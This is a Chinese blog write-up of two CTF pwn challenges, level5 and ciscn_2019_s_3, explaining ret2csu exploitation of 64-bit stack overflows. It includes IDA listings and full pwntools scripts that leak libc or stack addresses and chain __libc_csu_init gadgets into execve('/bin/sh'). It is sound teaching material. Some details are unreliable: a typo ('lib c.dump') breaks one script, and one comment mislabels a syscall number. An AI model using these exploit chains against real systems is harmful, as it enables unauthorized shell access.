Ret2csu level5 & ciscn_2019_s_3

本文介绍了一种针对64位程序中的栈溢出漏洞进行利用的方法,包括构造Exploit的具体步骤,以及如何在两个不同示例中利用__libc_csu_init中的gadget来实现漏洞利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本题难点:对栈的理解需要稍微更深入一点

ciscn_s_3 建议去看本人最新文章BUUCTF Ret2Csu ciscn_s_3

1.Checksec & IDA Pro

 

开启了栈不可执行与部分RELRO

 

 没有 system , /bin/sh,得自己构造。

看一眼 main 函数 与 vulnerable_function

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  vulnerable_function(1LL);
  return 0;
}

vulnerable_function

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

2.源码分析:

很显然,vulnerable_function 存在栈溢出漏洞。

read 函数不检查输入的字符串长度。buf变量与rsp的距离为0,因此buf的起始地址就是rsp的地址。从buf的rsp到rbp的大小总共为0x80+0x08,其中0x08为buf后的ret地址。

3.构造Exp

构造Exp思路如下:

1.利用pwntools查找writereadmain函数的got表地址与bss段的段起始地址

2.利用栈溢出执行通用gadget,__libc_csu_init 中的gadget,并再次执行main函数为接下来做准备

3.通过got表地址泄露真实地址的后3位,查找Libc版本并查找execve地址

4.再次溢出栈,执行 __libc_csu_init 的gadget,利用got表中的read函数地址执行read,向bss段写入execve函数地址与/bin/sh字符串,再次执行为接下来做准备

5.最后再溢出一次栈,执行 __libc_csu_init 的gadget,执行写入bss段中的 execve('/bin/sh')

因为 PIE 未开启,因此可以直接使用 IDA Pro 中获取的 __libc_csu_init 中的gadget地址。

分别是:

.text:0000000000400600                               loc_400600:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 4C 89 EA                      mov     rdx, r13
.text:0000000000400603 4C 89 F6                      mov     rsi, r14
.text:0000000000400606 44 89 FF                      mov     edi, r15d
.text:0000000000400609 41 FF 14 DC                   call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:0000000000400616                               loc_400616:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616 48 83 C4 08                   add     rsp, 8
.text:000000000040061A 5B                            pop     rbx
.text:000000000040061B 5D                            pop     rbp
.text:000000000040061C 41 5C                         pop     r12
.text:000000000040061E 41 5D                         pop     r13
.text:0000000000400620 41 5E                         pop     r14
.text:0000000000400622 41 5F                         pop     r15
.text:0000000000400624 C3                            retn

在64位程序中,函数传参是通过寄存器与栈进行的。

 write函数的原型:

ssize_t write (int fd, const void * buf, size_t count)

fd 为文件描述符,fd为1时为标准输出

buf 需要输出的内存地址

count 输出字节数

 正好对上第一部分 __libc_csu_init 的 gadget

text:0000000000400600                               loc_400600:
.text:0000000000400600 4C 89 EA                      mov     rdx, r13
.text:0000000000400603 4C 89 F6                      mov     rsi, r14
.text:0000000000400606 44 89 FF                      mov     edi, r15d
.text:0000000000400609 41 FF 14 DC                   call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]

但是发现 在 __libc_csu_init 的gadget中,我们需要先在 r13 , r14 , r15d 中放置我们的 1 , write_got , 8

因此就需要用到第二部分gadget

.text:0000000000400616                               loc_400616:
.text:0000000000400616 48 83 C4 08                   add     rsp, 8
.text:000000000040061A 5B                            pop     rbx
.text:000000000040061B 5D                            pop     rbp
.text:000000000040061C 41 5C                         pop     r12
.text:000000000040061E 41 5D                         pop     r13
.text:0000000000400620 41 5E                         pop     r14
.text:0000000000400622 41 5F                         pop     r15
.text:0000000000400624 C3                            retn

因此可得出我们的通用gadget函数

def csu( rbx , rbp , r12 , r13 , r14 , r15 , arg ):

	payload = b'A' * ( 0x80 + 0x08 ) # 溢出栈 buf 大小以及返回地址为 0x80 + 0x08
	payload += p64(csu_rear) # 先调用第二部分gadget,把 rbx , rbp , r12 , r13 , r14 , r15 送入栈中
	payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
	payload += p64(csu_front) # 调用第一部分gadget,将 r13 , r14 , r15 送出栈
	payload += b'A' * 0x38 # 平衡栈堆
	payload += p64(arg) # arg为返回地址,在本文使用main_addr。返回main函数再次执行方便下次溢出
	io.send(payload)
	sleep(1) # 等待接收

其中 rbx 必须为0 ,rbp必须为1

因为:

.text:000000000040060D 48 83 C3 01                   add     rbx, 1
.text:0000000000400611 48 39 EB                      cmp     rbx, rbp
.text:0000000000400614 75 EA                         jnz     short loc_400600

通用gadget:

def csu( rbx , rbp , r12 , r13 , r14 , r15 , arg ):

	payload = b'A' * ( 0x80 + 0x08 )
	payload += p64(csu_rear)
	payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
	payload += p64(csu_front)
	payload += b'A' * 0x38
	payload += p64(arg)
	io.send(payload)
	sleep(1)

通过使用函数赋值,如

csu( 0 , 1 , write_got , 8 , write_got , 1 , main_addr )

 第一阶段的Payload解决。

然后是接收泄露的地址:

write_addr = u64(io.recv(8))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')

 将 /bin/sh\x00 写入bss段:

io.recvuntil('Hello, World\n')
csu( 0 , 1 , read_got , 16 , bss_base , 0 , main_addr )
io.send(p64(execve_addr) + b'/bin/sh\x00')

执行写入bss段的 execve('/bin/sh'):

io.recvuntil('Hello, World\n')
csu( 0 , 1 , bss_base , 0 , 0 , bss_base + 8 , main_addr )
io.interactive()

完整Payload:

from pwn import *
from LibcSearcher import *

io = process("/root/Desktop/PwnSubjects/level5")
elf = ELF("/root/Desktop/PwnSubjects/level5")

csu_front = 0x400600
csu_rear = 0x40061A
main_addr = 0x400587

write_got = elf.got['write']
read_got = elf.got['read']
bss_base = elf.bss()

def csu( rbx , rbp , r12 , r13 , r14 , r15 , arg ):

	payload = b'A' * ( 0x80 + 0x08 )
	payload += p64(csu_rear)
	payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
	payload += p64(csu_front)
	payload += b'A' * 0x38
	payload += p64(arg)
	io.send(payload)
	sleep(1)

io.recvuntil('Hello, World\n')
csu(0 , 1 , write_got , 8 , write_got , 1 , main_addr)

write_addr = u64(io.recv(8))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + lib c.dump('execve')

log.success('real_addr: ' + hex(write_addr))
log.success('execve_addr: ' + hex(execve_addr))

io.recvuntil('Hello, World\n')
csu( 0 , 1 , read_got , 16 , bss_base , 0 , main_addr )
io.send(p64(execve_addr) + b'/bin/sh\x00')

io.recvuntil('Hello, World\n')
csu( 0 , 1 , bss_base , 0 , 0 , bss_base + 8 , main_addr )
io.interactive()

接下来我们来看一道例题:BUUCTF的ciscn_2019_s_3

1.Checksec & IDA Pro

int __cdecl main(int argc, const char **argv, const char **envp)
{
  return vuln();
}
signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400uLL);
  return sys_write(1u, buf, 0x30uLL);
}

2.源码分析:

不难看出溢出点在 vuln 中

read尝试读入一个长度为10的buf,但是write识图读出一个长度为30的buf ,其中有0x20是空余的。

在__libc_csu_init中发现了通用gadget:

.text:0000000000400580                               loc_400580:
.text:0000000000400580 4C 89 EA                      mov     rdx, r13
.text:0000000000400583 4C 89 F6                      mov     rsi, r14
.text:0000000000400586 44 89 FF                      mov     edi, r15d
.text:0000000000400589 41 FF 14 DC                   call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:0000000000400596                               loc_400596:
.text:0000000000400596 48 83 C4 08                   add     rsp, 8
.text:000000000040059A 5B                            pop     rbx
.text:000000000040059B 5D                            pop     rbp
.text:000000000040059C 41 5C                         pop     r12
.text:000000000040059E 41 5D                         pop     r13
.text:00000000004005A0 41 5E                         pop     r14
.text:00000000004005A2 41 5F                         pop     r15
.text:00000000004005A4 C3                            retn

看得出来,可以直接复用之前的通用gadget

只需要修改一下 csu_front 和 csu_rear 即可。

但是我们在 IDA Pro 中并未发现 write 与 read 函数

但是发现了函数 gadgets

__int64 gadgets()
{
  return 15LL;
}

乍一看其实看不出啥,查看反汇编

.text:00000000004004D6                               public gadgets
.text:00000000004004D6                               gadgets proc near
.text:00000000004004D6                               ; __unwind {
.text:00000000004004D6 55                            push    rbp
.text:00000000004004D7 48 89 E5                      mov     rbp, rsp
.text:00000000004004DA 48 C7 C0 0F 00 00 00          mov     rax, 0Fh
.text:00000000004004E1 C3                            retn
.text:00000000004004E1
.text:00000000004004E1                               gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2                               ; ---------------------------------------------------------------------------
.text:00000000004004E2 48 C7 C0 3B 00 00 00          mov     rax, 3Bh ; ';'
.text:00000000004004E9 C3                            retn
.text:00000000004004E9
.text:00000000004004E9                               ; ---------------------------------------------------------------------------
.text:00000000004004EA 90                            db 90h
.text:00000000004004EB                               ; ---------------------------------------------------------------------------
.text:00000000004004EB 5D                            pop     rbp
.text:00000000004004EC C3                            retn
.text:00000000004004EC                               ; } // starts at 4004D6

这部分是之后用来系统调用的。

其中

mov rax,0Fh    //   0Fh  即15    而15 对应的是 sys_rt_sigreturn系统调用
mov rax,3Bh     //  3Bh  即 59    而15 对应的是  sys_execve 系统调用

3.如何计算 /bin/sh 的偏移:

在main下断点

一步一步直到 call vuln

下一步,输入 aaaa

 随后 search aaaa 查找aaaa

 

再使用 x /8gx 查找对应地址

 

用 0x00007fffffffe048 - 0x7fffffffdf00 使用pwndbg的 distance 函数也行

 偏移即为 0x148

4.构造Payload 

payload = b'/bin/sh\x00' + p64(rdi_addr) + p64(csu_rear)
# rbp . r12 . r13 . r14 . r15
payload += p64(0) + p64(bin_sh_addr + 0x08) + p64(0) + p64(0) +p64(bin_sh_addr)
payload += p64(csu_front) + p64(execve_call) + p64(rdi_addr) + p64(bin_sh_addr) + p64(syscall)

 完整Payload:

from pwn import *
from LibcSearcher import *

io = process("/root/Desktop/PwnSubjects/ciscn_s_3")
elf = ELF("/root/Desktop/PwnSubjects/ciscn_s_3")

csu_front = 0x400580
# mov rdx , r13
# mov rsi , r14
# mov edi . r15d
csu_rear = 0x40059B
# pop rbp
# pop r12
# pop r13
# pop r14
# pop r15
# ret
main_addr = 0x400587
execve_call = 0x4004E2
# mov rax , 3BH
vuln_addr = 0x4004ED
rdi_addr = 0x4005A3
syscall = 0x400501

context.log_level = 'debug'

payload_leak = b'/bin/sh\x00' + b'A' * 8 + p64(vuln_addr)
io.sendline(payload_leak)
io.recv(0x20)
stack_addr = u64(io.recv(8))
print(hex(stack_addr))
bin_sh_addr = stack_addr - 0x148

payload = b'/bin/sh\x00' + p64(rdi_addr) + p64(csu_rear)
# rbp . r12 . r13 . r14 . r15
payload += p64(0) + p64(bin_sh_addr + 0x08) + p64(0) + p64(0) +p64(bin_sh_addr)
payload += p64(csu_front) + p64(execve_call) + p64(rdi_addr) + p64(bin_sh_addr) + p64(syscall)

io.sendline(payload)
io.interactive()

不知道为什么这题本地需要用 0x148 才能打通,远程需要 0x118

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值